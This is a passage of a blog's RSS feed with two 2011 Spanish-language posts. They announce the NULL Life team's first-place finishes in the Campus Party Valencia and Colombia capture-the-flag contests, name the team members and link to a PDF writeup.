			<wfw:commentRss>http://blog.beford.org/2011/08/28/iphone-3g-reparar-error-1015-al-actualizar-a-ios-4-2-1/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>WGSBD2 &#8211; Campus Party Valencia 2011</title>
		<link>http://blog.beford.org/2011/07/17/wgsbd2-campus-party-valencia-2011/</link>
		<comments>http://blog.beford.org/2011/07/17/wgsbd2-campus-party-valencia-2011/#comments</comments>
		<pubDate>Sun, 17 Jul 2011 07:48:10 +0000</pubDate>
		<dc:creator>Fernando M</dc:creator>
				<category><![CDATA[Español]]></category>
		<category><![CDATA[Security]]></category>
		<category><![CDATA[cte]]></category>

		<guid isPermaLink="false">http://blog.beford.org/2011/07/17/wgsbd2-campus-party-valencia-2001/</guid>
		<description><![CDATA[Nuestro equipo NULL Life participó en el CTF de SecurityByDefault.com y logró finalizar de primero todos los retos, ademas de obtener el primer lugar por puntos al finalizar el evento Los miembros del equipo que participaron Daniel (Colombia), g30rg3_x (Mexico), &#8230; <a href="http://blog.beford.org/2011/07/17/wgsbd2-campus-party-valencia-2011/">Continue reading <span class="meta-nav">&#8594;</span></a>]]></description>
			<content:encoded><![CDATA[<p>Nuestro equipo NULL Life participó en el CTF de <a href="http://securitybydefault.com/">SecurityByDefault.com</a> y logró finalizar de primero todos los retos, ademas de obtener el primer lugar por puntos al finalizar el evento <img src='http://blog.beford.org/wp-includes/images/smilies/icon_biggrin.gif' alt=':D' class='wp-smiley' /> </p>
<p>Los miembros del equipo que participaron <a title="Seguridad Informatica" href="http://sinfocol.org">Daniel</a> (Colombia), <a href="http://g30rg3x.com/">g30rg3_x</a> (Mexico), g05u (Perú), emyei (Argentina), Perverths0 (Perú) y snr33 (Perú). Brillo por su ausencia nuestro CISSP, CEH fataku por motivos de su trabajo, o eso dice el xD</p>
<p>Por cierto, esta entrada va desde el iPad obtenida en el CTF de Campus Party Colombia, me la entregaron el dia de ayer, y ya le estamos dando un buen uso. Este ha sido un buen año para NULL Life <img src='http://blog.beford.org/wp-includes/images/smilies/icon_biggrin.gif' alt=':D' class='wp-smiley' /> </p>
<p style="text-align: center;"><a href="http://blog.beford.org/wp-content/uploads/2011/07/ipad.jpg"><img class="aligncenter size-full wp-image-195" title="ipad" src="http://blog.beford.org/wp-content/uploads/2011/07/ipad.jpg" alt="" width="432" height="243" /></a></p>
<p style="text-align: center;">
]]></content:encoded>
			<wfw:commentRss>http://blog.beford.org/2011/07/17/wgsbd2-campus-party-valencia-2011/feed/</wfw:commentRss>
		<slash:comments>3</slash:comments>
		</item>
		<item>
		<title>CTF Campus Party 2011 Colombia</title>
		<link>http://blog.beford.org/2011/07/08/ctf-campus-party-2011-colombia/</link>
		<comments>http://blog.beford.org/2011/07/08/ctf-campus-party-2011-colombia/#comments</comments>
		<pubDate>Fri, 08 Jul 2011 21:44:47 +0000</pubDate>
		<dc:creator>Fernando M</dc:creator>
				<category><![CDATA[Español]]></category>
		<category><![CDATA[Security]]></category>
		<category><![CDATA[Uncategorized]]></category>
		<category><![CDATA[ctf]]></category>

		<guid isPermaLink="false">http://blog.beford.org/?p=184</guid>
		<description><![CDATA[Este año representé a NULL-Life en el CTF de Campus Party Colombia, logré obtener el primer lugar, el premio fue un magico iPad 2 (que aún no me han entregado, pero la paciencia es la virtud de todo pentester). Les dejo &#8230; <a href="http://blog.beford.org/2011/07/08/ctf-campus-party-2011-colombia/">Continue reading <span class="meta-nav">&#8594;</span></a>]]></description>
			<content:encoded><![CDATA[<p>Este año representé a <a title="null-life team" href="http://null-life.com">NULL-Life</a> en el CTF de Campus Party Colombia, logré obtener el primer lugar, el premio fue un magico iPad 2 <img src='http://blog.beford.org/wp-includes/images/smilies/icon_biggrin.gif' alt=':D' class='wp-smiley' />  (que aún no me han entregado, pero la paciencia es la virtud de todo pentester). Les dejo el <a href="http://beford.net/stuff/WriteUpCampusPartyCo2011.pdf">writeup</a> para que vean la dificultad y solucion de todos los retos.</p>
<p>La próxima semana viene el CTF de Campus Party Valencia, en el cual podremos participar como equipo <img src='http://blog.beford.org/wp-includes/images/smilies/icon_biggrin.gif' alt=':D' class='wp-smiley' /> </p>
<p>¡Agradecimientos a Nonroot y Campus Party por la organización del evento!</p>
]]></content:encoded>
			<wfw:commentRss>http://blog.beford.org/2011/07/08/ctf-campus-party-2011-colombia/feed/</wfw:commentRss>
		<slash:comments>3</slash:comments>
		</item>
	</channel>
</rss>

